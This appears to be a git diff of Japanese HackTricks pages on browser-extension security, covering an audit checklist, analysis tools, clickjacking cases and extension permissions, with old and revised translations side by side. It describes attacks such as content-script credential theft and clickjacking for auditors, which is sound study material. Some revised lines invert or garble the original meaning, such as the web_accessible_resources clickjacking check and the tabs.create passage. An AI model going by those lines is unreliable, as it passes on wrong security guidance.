「パッケージ化されていない拡張機能を読み込む」をクリックします。 「パッケージ化されていない拡張機能を読み込む」をクリックします。
拡張機能のディレクトリに移動します。 拡張機能のディレクトリに移動します。
@ -540,19 +540,19 @@ Chromeを開き、`chrome://extensions/`に移動します。
## セキュリティ監査チェックリスト ## セキュリティ監査チェックリスト
ブラウザ拡張機能は**攻撃面が限られています**が、一部には**脆弱性**や**潜在的な強化改善点**が含まれている場合があります。以下は最も一般的なものです: ブラウザ拡張機能は**攻撃面が限られています**が、一部には**脆弱性**や**強化の余地**がある場合があります。以下は最も一般的なものです:
* [ ] 要求される**`permissions`**をできるだけ**制限**する * [ ] 要求される**`permissions`**を可能な限り**制限**する
* [ ] **`host_permissions`**をできるだけ**制限**する * [ ] 可能な限り**`host_permissions`**を**制限**する
* **`content_security_policy`**を**強力に**使用する * [ ] **強力な** **`content_security_policy`**を使用する
* 必要がない場合は**`externally_connectable`**をできるだけ**制限**し、デフォルトで残さないように**`{}`**を指定する * [ ] 必要がない場合は**`externally_connectable`**を可能な限り**制限**し、デフォルトで残さずに**`{}`**を指定する
* ここでXSSや乗っ取りに**脆弱なURL**が言及されている場合、攻撃者は**直接バックグラウンドスクリプトにメッセージを送信**できます。非常に強力なバイパスです。 * [ ] ここでXSSや乗っ取りに**脆弱なURL**が言及されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信**できます。非常に強力なバイパスです。
* **`web_accessible_resources`**をできるだけ**制限**する(可能であれば空にする) * [ ] 可能な限り**`web_accessible_resources`**を制限し、可能であれば空にしてください。
* **`web_accessible_resources`**がnoneでない場合は、[**ClickJacking**](browext-clickjacking.md)をチェックする * [ ] もし**`web_accessible_resources`**がない場合は、[**ClickJacking**](browext-clickjacking.md)をチェックしてください
* 拡張機能からウェブページへの**通信**が行われている場合、通信中に引き起こされる[XSSのチェック](browext-xss-example.md)を行う * [ ] 拡張機能からウェブページへの**通信**が発生する場合、通信によって引き起こされる[XSS**脆弱性**](browext-xss-example.md)をチェックしてください。
* Post Messagesが使用されている場合は、[**Post Messageの脆弱性**](../postmessage-vulnerabilities/)をチェックする * [ ] Post Messagesが使用されている場合は、[**Post Messageの脆弱性**](../postmessage-vulnerabilities/)をチェックしてください。
* **Content ScriptがDOMの詳細にアクセス**している場合は、それがWebによって**変更**された場合にXSSを導入していないかを確認する * [ ] **Content ScriptがDOMの詳細にアクセス**する場合は、それらがWebによって**変更**された場合にXSSを導入していないかを確認してください
* この通信が**Content Script -> Background script通信**にも関与している場合は特に注意する * [ ] この通信が**Content Script -> Background script通信**にも関与している場合は特に注意してください
* ブラウザ拡張機能の中に**機密情報を保存**すべきではありません * ブラウザ拡張機能の中に**機密情報を保存**すべきではありません
* ブラウザ拡張機能の中に**機密情報を保存**すべきではありません * ブラウザ拡張機能の中に**機密情報を保存**すべきではありません
@ -561,34 +561,34 @@ Chromeを開き、`chrome://extensions/`に移動します。
### [**Tarnish**](https://thehackerblog.com/tarnish/) ### [**Tarnish**](https://thehackerblog.com/tarnish/)
* 提供されたChrome Webstoreリンクから任意のChrome拡張機能を取得します。 * 提供されたChrome Webstoreリンクから任意のChrome拡張機能を取得します。
* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **ビューア**拡張機能のマニフェストのJSON整形バージョンを表示します。 * [**manifest.json**](https://developer.chrome.com/extensions/manifest) **ビューア**拡張機能のマニフェストのJSON整形バージョンを簡単に表示します。
* **フィンガープリント解析**[web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)の検出およびChrome拡張機能のフィンガープリントJavaScriptの自動生成。 * **フィンガープリント解析**[web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)の検出およびChrome拡張機能のフィンガープリントJavaScriptの自動生成。
* **潜在的なClickjacking解析**[web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)ディレクティブが設定された拡張機能HTMLページの検出。これらはページの目的に応じてClickjackingの脆弱性がある可能性があります。 * **潜在的なClickjacking解析**[web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)ディレクティブが設定された拡張機能HTMLページの検出。これらはページの目的に応じてClickjackingの脆弱性があります。
* **許可警告ビューア**ユーザーが拡張機能をインストールしようとすると表示されるすべてのChrome許可プロンプト警告のリストを表示します。 * **許可警告ビューア**ユーザーが拡張機能をインストールしようとすると表示されるすべてのChrome許可プロンプト警告のリストを表示します。
* **危険な機能**攻撃者によって悪用される可能性のある危険な機能の場所を表示しますinnerHTML、chrome.tabs.executeScriptなどの機能 * **危険な機能**攻撃者によって悪用される可能性のある危険な機能の場所を表示しますinnerHTML、chrome.tabs.executeScriptなどの機能
* **エントリーポイント**:拡張機能がユーザー/外部入力を受け入れる場所を表示します。これは拡張機能の攻撃面を理解し、悪意のあるデータを拡張機能に送信する潜在的なポイントを探すのに役立ちます。 * **エントリーポイント**:拡張機能がユーザー/外部入力を受け入れる場所を表示します。これは拡張機能の表面積を理解し、悪意のあるデータを拡張機能に送信する潜在的なポイントを探すのに役立ちます。
* 危険な機能とエントリーポイントのスキャナーには、次のものが生成されたアラートに含まれます: * 危険な機能とエントリーポイントのスキャナーは、生成されたアラートに次のものを持っています:
* アラートを引き起こした関連するコードスニペットと行。 * アラートを引き起こした関連するコードスニペットと行。
* 問題の説明。 * 問題の説明。
* アラートを引き起こしたコードを含む完全なソースファイルを表示するための「ファイルを表示」ボタン。 * アラートを引き起こしたファイル全体を表示するための「ファイルを表示」ボタン。
* アラートされたファイルのパス。 * アラートされたファイルのパス。
* アラートされたファイルの完全なChrome拡張機能URI。 * アラートされたファイルの完全なChrome拡張機能URI。
* JavaScriptファイル内に脆弱な行がある場合、それが含まれているすべてのページのパスと、これらのページのタイプ、[web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)のステータス。 * JavaScriptファイル内の脆弱な行が含まれている場合、それが含まれているすべてのページのパスと、これらのページのタイプ、[web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)のステータス。
* **Content Security Policy (CSP)アナライザーおよびバイパスチェッカー**拡張機能のCSPの弱点を指摘し、ホワイトリストに登録されたCDNなどによるCSPのバイパス方法を明らかにします。 * **コンテンツセキュリティポリシーCSPアナライザーおよびバイパスチェッカー**拡張機能のCSPの弱点を指摘し、ホワイトリストによるCSPのバイパス方法を明らかにします。
* **既知の脆弱なライブラリ**[Retire.js](https://retirejs.github.io/retire.js/)を使用して既知の脆弱なJavaScriptライブラリの使用をチェックします。 * **既知の脆弱なライブラリ**[Retire.js](https://retirejs.github.io/retire.js/)を使用して既知の脆弱なJavaScriptライブラリの使用をチェックします。
* 拡張機能と整形されたバージョンをダウンロードします。 * 拡張機能とフォーマットされたバージョンをダウンロードします。
* オリジナルの拡張機能をダウンロードします。 * オリジナルの拡張機能をダウンロードします。
* 拡張機能の整形されたバージョン自動整形されたHTMLおよびJavaScriptをダウンロードします * 拡張機能の美しく整形されたバージョンをダウンロードします自動整形されたHTMLおよびJavaScript
* スキャン結果の自動キャッシュ化。拡張機能のスキャンを実行すると、最初の実行はかなりの時間がかかりますが、2回目以降は、拡張機能が更新されていない限り、結果がキャッシュされているためほぼ即座に実行されます。 * スキャン結果の自動キャッシュ化。拡張機能のスキャンを実行すると、最初の実行はかなりの時間がかかりますが、2回目以降は、拡張機能が更新されていない限り、結果がキャッシュされているためほぼ即座になります。
* リンク可能なレポートURL、Tarnishによって生成された拡張機能レポートへのリンクを簡単に他の人にリンクできます。 * リンク可能なレポートURL、Tarnishによって生成された拡張機能レポートへのリンクを簡単に他の人にリンクできます。
### [Neto](https://github.com/elevenpaths/neto) ### [Neto](https://github.com/elevenpaths/neto)
Project Netoは、FirefoxやChromeなどの一般的なブラウザ用のブラウザプラグインや拡張機能の隠れた機能を分析し解明するために考案されたPython 3パッケージです。このパッケージは、パッケージ化されたファイルを解凍して、`manifest.json`、ローカライゼーションフォルダ、JavaScriptHTMLソースファイルからこれらの機能を抽出するプロセスを自動化します。 Project Netoは、FirefoxやChromeなどのよく知られたブラウザ用のプラグインや拡張機能の隠れた機能を分析し解明するために設計されたPython 3パッケージです。このパッケージは、パッケージ化されたファイルを解凍して、`manifest.json`、ローカライゼーションフォルダ、JavaScriptおよびHTMLソースファイルからこれらの機能を抽出するプロセスを自動化します。
## 参考文献 ## 参考文献
* この方法論の支援に感謝します [**@naivenom**](https://twitter.com/naivenom) * この方法論の支援に感謝します[**@naivenom**](https://twitter.com/naivenom)
* [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) * [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
* [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/) * [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
* [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/) * [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)

View file

@ -8,9 +8,9 @@ HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。** - **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
@ -23,28 +23,28 @@ ClickJackingとは何かわからない場合は、次を確認してくださ
[clickjacking.md](../clickjacking.md) [clickjacking.md](../clickjacking.md)
{% endcontent-ref %} {% endcontent-ref %}
拡張機能には**`manifest.json`**というファイルが含まれており、そのJSONファイルには`web_accessible_resources`というフィールドがあります。[Chromeドキュメント](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)には次のように記載されています: 拡張機能には**`manifest.json`**というファイルが含まれており、そのJSONファイルには`web_accessible_resources`というフィールドがあります。[Chromeドキュメント](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)によると、次のように述べられています:
> これらのリソースは、**`chrome-extension://[PACKAGE ID]/[PATH]`**というURLを介してウェブページで利用できるようになります。このURLは**`extension.getURLメソッド`**で生成できます。許可されたリソースは適切なCORSヘッダーで提供されるため、XHRなどのメカニズムを介して利用できます。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) > これらのリソースは、**`chrome-extension://[PACKAGE ID]/[PATH]`**というURLを介してウェブページで利用できるようになります。こは**`extension.getURLメソッド`**で生成できます。許可されたリソースは適切なCORSヘッダーで提供されるため、XHRなどのメカニズムを介して利用できます。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
ブラウザ拡張機能の**`web_accessible_resources`**はウェブを介してだけでなく、拡張機能固有の権限で動作します。これは次のことを可能にします: ブラウザ拡張機能の**`web_accessible_resources`**は、単にウェブを介してアクセス可能なだけでなく、拡張機能固有の特権で動作します。これは次のことを意味します:
- 拡張機能の状態を変更する - 拡張機能の状態を変更する
- 追加のリソースを読み込む - 追加のリソースを読み込む
- ある程度ブラウザとやり取りする - ある程度ブラウザとやり取りする
ただし、この機能にはセキュリティリスクがあります。**`web_accessible_resources`**内のリソースに重要な機能がある場合、攻撃者はこのリソースを外部ウェブページに埋め込む可能性があります。このページを訪れる無疑のユーザーは、この埋め込まれたリソースを誤ってアクティブ化する可能性があります。このアクティブ化により、拡張機能のリソースの権限と機能に応じて意図しない結果が発生する可能性があります。 ただし、この機能にはセキュリティリスクがあります。**`web_accessible_resources`**内のリソースに重要な機能がある場合、攻撃者はこのリソースを外部ウェブページに埋め込む可能性があります。このページを訪れる無疑のユーザーは、この埋め込まれたリソースを誤ってアクティブ化する可能性があります。このアクティブ化により、拡張機能のリソースの権限と機能に応じて意図しない結果が生じる可能性があります。
## PrivacyBadgerの例 ## PrivacyBadgerの例
拡張機能PrivacyBadgerでは、`skin/`ディレクトリが以下のように`web_accessible_resources`として宣言されている脆弱性が特定されました(元の[ブログ投稿](https://blog.lizzie.io/clickjacking-privacy-badger.html)を参照)。 拡張機能PrivacyBadgerでは、`skin/`ディレクトリが以下のように`web_accessible_resources`として宣言されている脆弱性が特定されました(元の[ブログ投稿](https://blog.lizzie.io/clickjacking-privacy-badger.html)を参照してください)。
```json ```json
"web_accessible_resources": [ "web_accessible_resources": [
"skin/*", "skin/*",
"icons/*" "icons/*"
] ]
``` ```
この構成により、潜在的なセキュリティ問題が発生しました。具体的には、ブラウザでPrivacyBadgerアイコンを操作すると表示される`skin/popup.html`ファイルが`iframe`内に埋め込まれる可能性があります。この埋め込みは、ユーザーを誤解させて「このウェブサイトのPrivacyBadgerを無効にする」を誤ってクリックさせるために悪用される可能性があります。このような行動により、ユーザーのプライバシーが侵害され、PrivacyBadgerの保護が無効になり、ユーザーが追跡される可能性が高まります。この脆弱性の実証は、[**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)で提供されるClickJackingのビデオ例で確認できます。 この構成により、潜在的なセキュリティ問題が発生しました。具体的には、ブラウザでPrivacyBadgerアイコンを操作すると表示される`skin/popup.html`ファイルが`iframe`内に埋め込まれる可能性があります。この埋め込みは、ユーザーを誤って「このウェブサイトのPrivacyBadgerを無効にする」をクリックさせるよう悪用される可能性があります。このような行動により、ユーザーのプライバシーが侵害され、PrivacyBadgerの保護が無効になり、ユーザーが追跡を受ける可能性が高まります。この攻撃のビジュアルデモは、[**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)で提供されるClickJackingのビデオ例で確認できます。
この脆弱性に対処するために、簡単な解決策が実装されました:`web_accessible_resources`のリストから`/skin/*`を削除すること。この変更により、`skin/`ディレクトリのコンテンツがWebアクセス可能なリソースを介してアクセスまたは操作されないようにリスクが効果的に軽減されました。 この脆弱性に対処するために、簡単な解決策が実装されました:`web_accessible_resources`のリストから`/skin/*`を削除すること。この変更により、`skin/`ディレクトリのコンテンツがWebアクセス可能なリソースを介してアクセスまたは操作されないようにリスクが効果的に軽減されました。
@ -95,11 +95,11 @@ click me
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
Metamask拡張機能で修正された**別のClickJacking**は、ページが`“web_accessible_resources”: [“inpage.js”, “phishing.html”]`を含むことにより、ページがフィッシングの疑いがあるときに**Click to whitelist**できることでした。そのページがClickjackingに対して脆弱であるため、攻撃者は被害者が気づかずにホワイトリストに登録するようにクリックさせるために通常のものを表示し、その後フィッシングページに戻ることができました。 Metamask拡張機能で修正された**別のClickJacking**は、ページが`“web_accessible_resources”: [“inpage.js”, “phishing.html”]`という理由でフィッシングの疑いがあると判断された場合に、**Click to whitelist**が可能だったことです。そのページがClickjackingに対して脆弱であるため、攻撃者は被害者が気づかずにホワイトリストに登録するようにクリックさせるために通常のものを表示し、その後フィッシングページに戻ることができました。
## Steam Inventory Helperの例 ## Steam Inventory Helperの例
次のページをチェックして、ブラウザ拡張機能の**XSS**が**ClickJacking**の脆弱性と連鎖した方法を確認してください: ブラウザ拡張機能の**XSS**が**ClickJacking**の脆弱性と連鎖した方法を確認するには、次のページをチェックしてください:
{% content-ref url="browext-xss-example.md" %} {% content-ref url="browext-xss-example.md" %}
[browext-xss-example.md](browext-xss-example.md) [browext-xss-example.md](browext-xss-example.md)
@ -112,14 +112,14 @@ Metamask拡張機能で修正された**別のClickJacking**は、ページが`
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れる * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 * **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
- **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する - **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details> </details>
@ -18,19 +18,19 @@ HackTricks をサポートする他の方法:
### **`permissions`** ### **`permissions`**
権限は、拡張機能の **`manifest.json`** ファイルで **`permissions`** プロパティを使用して定義され、ブラウザがアクセスできるほとんどのものCookieまたは物理ストレージへのアクセスを許可します 権限は、拡張機能の **`manifest.json`** ファイルで **`permissions`** プロパティを使用して定義され、ブラウザがアクセスできるほとんどすべてのものCookieまたは物理ストレージへのアクセスを許可します
前述のマニフェストは、`storage` 権限が必要であることを宣言しています。これは、[ストレージAPI](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)を使用してデータを永続的に保存できることを意味します。ユーザーに一定レベルの制御権を与えるCookieや `localStorage` APIとは異なり、**拡張機能のストレージは通常、拡張機能をアンインストールすることでのみクリアできます**。 前述のマニフェストは、拡張機能が `storage` 権限を必要とすることを宣言しています。これは、[ストレージAPI](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)を使用してデータを永続的に保存できることを意味します。ユーザーに一定レベルの制御を提供するCookieや `localStorage` APIとは異なり、**拡張機能のストレージは通常、拡張機能をアンインストールすることでのみクリアできます**。
拡張機能は、その **`manifest.json`** ファイルで示されている権限を要求し、拡張機能をインストールした後は、この画像に示されているように、ブラウザでいつでもその権限を確認できます: 拡張機能は、その **`manifest.json`** ファイルで示されている権限をリクエストし、拡張機能をインストールした後は、この画像に示されているように、ブラウザでいつでもその権限を確認できます:
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
[**Chromiumブラウザ拡張機能がリクエストできる権限の完全なリストはこちら**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions)、[**Firefox拡張機能の完全なリストはこちら**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**です**。 [**Chromiumブラウザ拡張機能がリクエストできる権限の完全なリストはこちら**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions)、[**Firefox拡張機能の完全なリストはこちら**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**を見つけることがきます**。
### `host_permissions` ### `host_permissions`
オプションですが強力な設定 **`host_permissions`** は、[`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies)、[`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest)、[`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)などのAPIを介して拡張機能がどのホストとやり取りできるかを示します。 オプションですが強力な設定である **`host_permissions`** は、[`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies)、[`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest)、[`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)などのAPIを介して拡張機能がどのホストとやり取りできるかを示します。
以下の `host_permissions` は基本的にすべてのWebサイトを許可します 以下の `host_permissions` は基本的にすべてのWebサイトを許可します
```json ```json
@ -55,27 +55,27 @@ HackTricks をサポートする他の方法:
### タブ ### タブ
さらに、**`host_permissions`**は[**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)の「高度な」機能を解除します。これにより、拡張機能は[tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query)を呼び出すことができ、ユーザーのブラウザタブのリストを取得するだけでなく、読み込まれているWebページアドレスとタイトルを含むを知ることもできます。 さらに、**`host_permissions`**は[**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)の**“高度な”機能**を解除します。これにより、拡張機能は[tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query)を呼び出し、**ユーザーのブラウザタブのリストを取得するだけでなく、読み込まれているWebページアドレスとタイトルを含むを知ることもできます**
{% hint style="danger" %} {% hint style="danger" %}
さらに、[**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated)などのリスナーも非常に便利になります。これらは、新しいページがタブに読み込まれるたびに通知されます。 さらに、[**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated)などのリスナーも**はるかに有用になります**。これらは、新しいページがタブに読み込まれるたびに通知されます。
{% endhint %} {% endhint %}
### コンテンツスクリプトの実行 <a href="#running-content-scripts" id="running-content-scripts"></a> ### コンテンツスクリプトの実行 <a href="#running-content-scripts" id="running-content-scripts"></a>
コンテンツスクリプトは、静的に拡張機能マニフェストに書かれている必要はありません。**`host_permissions`**が十分にあれば、**拡張機能は**[**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **または**[**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **を呼び出すことで動的にロードすることもできます。** コンテンツスクリプトは、静的に拡張機能マニフェストに書かれている必要はありません。**`host_permissions`**が十分にあれば、**拡張機能は**[**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **または**[**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **を呼び出すことで動的に読み込むこともできます**
これらのAPIは、拡張機能に含まれるファイルだけでなく、**任意のコード**を実行できます。前者はJavaScriptコードを文字列として渡すことができ、後者はJavaScript関数を期待しますが、これはインジェクションの脆弱性が少ないです。それでも、これらのAPIは誤用されると混乱を招きます。 両方のAPIは、拡張機能に含まれるファイルだけでなく、**任意のコード**を実行できます。前者はJavaScriptコードを文字列として渡すことができ、後者はJavaScript関数を期待しますが、これはインジェクションの脆弱性が少ないです。それでも、これらのAPIは誤用されると混乱を招きます。
{% hint style="danger" %} {% hint style="danger" %}
上記の機能に加えて、コンテンツスクリプトは、Webページに入力される**資格情報を傍受**したり、各Webサイトに**広告を注入**したりするなど、様々な方法で悪用できます。**詐欺メッセージ**をニュースサイトの信頼性を悪用するために追加することも可能です。最後に、銀行のWebサイトを**操作して送金をリダイレクト**することもできます。 上記の機能に加えて、コンテンツスクリプトは、例えば、Webページに入力される**資格情報を傍受**することができます。また、**広告を注入**して、すべてのウェブサイトに広告を表示する方法もあります。ニュースサイトの信頼性を損なう**詐欺メッセージ**を追加することも可能です。最後に、**銀行の**ウェブサイトを**操作**して送金をリダイレクトすることもできます。
{% endhint %} {% endhint %}
### 暗黙の権 <a href="#implicit-privileges" id="implicit-privileges"></a> ### 暗黙の<a href="#implicit-privileges" id="implicit-privileges"></a>
一部の拡張機能の権は、**明示的に宣言する必要はありません**。その例として、[tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)があります。その基本機能は、特に権限がなくてもアクセスできます。任意の拡張機能は、タブを開いたり閉じたりするときに通知を受け取ることができますが、そのタブがどのウェブサイトに対応するかはわかりません。 一部の拡張機能の権は、**明示的に宣言する必要はありません**。その1つの例が[tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)です。基本的な機能は特権なしでアクセスできます。任意の拡張機能は、タブを開いたり閉じたりするときに通知を受け取ることができますが、どのウェブサイトに対応するタブかはわかりません。
無害に聞こえますか?[tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create)は少し異なります。これを使用して、新しいタブを作成できます。基本的には、[window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open)と同じですが、どのウェブサイトからでも呼び出すことができます。ただし、`window.open()`はポップアップブロッカーの対象となりますが、`tabs.create()`はそうではありません。 無害に聞こえますか?[tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create)はやや異なります。これを使用して**新しいタブを作成**することができ、基本的には[window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open)と同じですが、どのウェブサイトが呼び出されるかはわかりません。
{% hint style="danger" %} {% hint style="danger" %}
拡張機能は、必要に応じていつでも任意の数のタブを作成できます。 拡張機能は、必要に応じていつでも任意の数のタブを作成できます。
@ -83,23 +83,23 @@ HackTricks をサポートする他の方法:
